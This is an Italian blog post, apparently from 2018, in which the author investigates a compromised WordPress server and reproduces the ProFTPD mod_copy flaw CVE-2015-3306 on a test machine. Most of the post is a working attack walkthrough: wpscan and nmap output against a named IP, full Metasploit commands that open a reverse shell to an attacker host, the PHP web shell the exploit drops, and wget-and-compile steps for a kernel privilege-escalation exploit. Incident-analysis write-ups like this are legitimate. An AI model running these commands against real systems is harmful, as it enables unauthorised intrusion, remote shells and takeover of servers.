giovedì 22 febbraio 2018

Compromissione CVE-2015-3306

In questo post racconto una esperienza con un macchina compromessa su cui pero' non ho avuto accesso fisico o di shell perche' non da me amministrata




visto che la macchina ospita vari siti Wordpress il primo tentativo e' stato di verificare se sul sito compromesso erano presenti plugin/temi vulnerabili

wpscan -u http://xxxxxxx --enumerate --log

--------------------------------
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://xxxxxxxxx.it/
[+] Started: Wed Feb 21 10:36:40 2018

[+] robots.txt available under: 'http://xxxxxxxxx.it/robots.txt'
[+] Interesting entry from robots.txt: http://xxxxxxxxx.it/wp-admin/admin-ajax.php
[!] The WordPress 'http://xxxxxxxxx.it/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://xxxxxxxxx.it/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <http://xxxxxxxxx.it/>; rel=shortlink
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: SET-COOKIE: wfvt_2345687367=5a8d3d46d77c0; expires=Wed, 21-Feb-2018 10:05:02 GMT; Max-Age=1800; path=/; httponly
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[+] XML-RPC Interface available under: http://xxxxxxxxx.it/xmlrpc.php
[!] Upload directory has directory listing enabled: http://xxxxxxxxx.it/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://xxxxxxxxx.it/wp-includes/

[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator
[!] 1 vulnerability identified from the version number

[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] WordPress theme in use: cittinfo - v1.0.0

[+] Name: xxxxxxx - v1.0.0
 |  Location: http://xxxxxxxxx.it/wp-content/themes/xxx/
 |  Readme: http://xxxxxxxxx.it/wp-content/themes/xx/readme.txt
 |  Style URL: http://xxxxxxxxx.it/wp-content/themes/xxxx/style.css
 |  Theme Name: xxxxx
 |  Theme URI: https://xxxxxxxxx.it
 |  Description: xxxx
 |  Author: xxxx
 |  Author URI: http://www.xxxx.it

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...


[+] We found 2 plugins:

[+] Name: Ultimate_VC_Addons
 |  Location: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
 |  Changelog: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/changelog.txt
[!] Directory listing is enabled: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE
    Reference: https://wpvulndb.com/vulnerabilities/8821
    Reference: http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/
    Reference: https://codecanyon.net/item/ultimate-addons-for-visual-composer/6892199
[i] Fixed in: 3.16.12

[+] Name: js_composer
 |  Location: http://xxxxxxxxx.it/wp-content/plugins/js_composer/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Visual Composer <= 4.7.3 - Multiple Unspecified Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8208
    Reference: http://codecanyon.net/item/visual-composer-page-builder-for-wordpress/242431
    Reference: https://forums.envato.com/t/visual-composer-security-vulnerability-fix/10494/7
[i] Fixed in: 4.7.4

[+] Enumerating installed themes (only ones with known vulnerabilities) ...


[+] No themes found

[+] Enumerating timthumb files ...


[+] No timthumb files found

[+] Enumerating usernames ...
[+] We did not enumerate any usernames

[+] Finished: Wed Feb 21 10:41:01 2018
[+] Requests Done: 4864
[+] Memory used: 136.785 MB
[+] Elapsed time: 00:04:20
--------------------------------
La scansione di Wordpress evidenzia alcuni problemi ma nessun che possa portare ad una compromissione della macchina. Si sa che e' un server Debian con directory listabili sul server apache ed qualche problema di XSS
Passiamo alla scansione dei servizi dove c'e' qualcosa di interessante. Il server FTP mostra una versione vulnerabile

--------------------------------
sh-3.2# nmap -sV -T4 -F 150.217.73.96

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 10:48 CET
Nmap scan report for xxxxxxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.24s latency).
Not shown: 67 filtered ports, 30 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
--------------------------------
Ho quindi provato a costruirmi una macchina di test per ricreare il problema,fare l'exploit con metasploit e verificare se era quello il punto di ingresso

La vulnerabilita' CVE-2015-3306 e' relativa alla versione 1.3.5 ProFTPD sono se e' montato il modulo mod_write. Dato che adesso tutti i pacchetti delle maggiori distribuzioni sono patchati per ripetere l'exploit ho scaricato i sorgenti originali di ProFTPD da questo link compilando a mano con i seguenti comandi

./configure --with-modules=mod_copy
make
make install

senza loggarsi sul server si puo' verificare se Proftpd e' soggetto alla vulnerabilita'. Basta digitare

site help

e vedere se sono disponibili i comandi CPFR e CPTO (se il modulo mod_write non e' compilato si vedranno solo HELP e CPTO)

ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR <sp> pathname
 CPTO <sp> pathname
 HELP
 CHGRP
 CHMOD

ok il server e' soggetto alla vulnerabilita'.  Ho quindi aperto metasploit (su Kali Linux per semplicita')  con

msfconsole

use exploit/unix/ftp/proftpd_modcopy_exec
show options

set RHOST xxx.xxx.xxx.xxx (indirizzo numerico remoto)

set SITEPATH /var/www/html/xxxxxx/xxxxx/
 (la macchina Debian ha il path della html dir qui)

set TARGETURI /xxxxx/xxxxx

show payloads

use cmd/unix/reverse_perl

set LHOST xxx.xxx.xxx.xxx (ip della macchina che attacca a cui ricevere la reverse shell)

run

nel caso in cui il server non monti il mod_write si ottiene il seguente messaggio

Exploit aborted due to failure: unknown: xxx.xxx.xxx.xxx:21 - Failure copying from /proc/self/cmdline

altrimenti si ha un messaggio del genere

msf exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4444
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Connected to FTP server
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Sending copy commands to FTP server
[*] xxx.xxx.xxx.xxx:80 - Executing PHP payload /test/2jXgD.php
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4444 -> xxx.xxx.xxx.xxx:44882) at 2018-02-21 13:32:20 +0100

a questo punto si e' aperta una shell (anche se a video non compare nessun messaggio) e digitando i comandi si puo' interagire con il server remoto

whoami (si ha come risposta www-data)
ifconfig 
uname -a

nel webserver troveremo il nuovo file 2jXgD.php con questo contenuto
proftpd: xxx.xxx.xxx.xxx:36289: SITE CPTO /tmp/.<?php passthru($_GET['4PuZG']);?>msf exploit(unix/ftp/proftpd_modcopy_exec) > 

una volta entrati nel server il passo successivo e' quello di fare una scalata dei privilegi locali
e questo non e' banale
Per esempio se uname ci dice che e' in uso un kernel 4.14.0-rc4  si puo' tentare questa strada

 wget https://www.exploit-db.com/download/43029.c

gcc 43029.c

./a.out ....

Nessun commento:

Posta un commento

Frane da drone con rete UNET

Alla ricerca di immagini di training gia' pronte per reti neurali mi sono imbattuto nel CAS Landslide Database (scaricabile da  https://...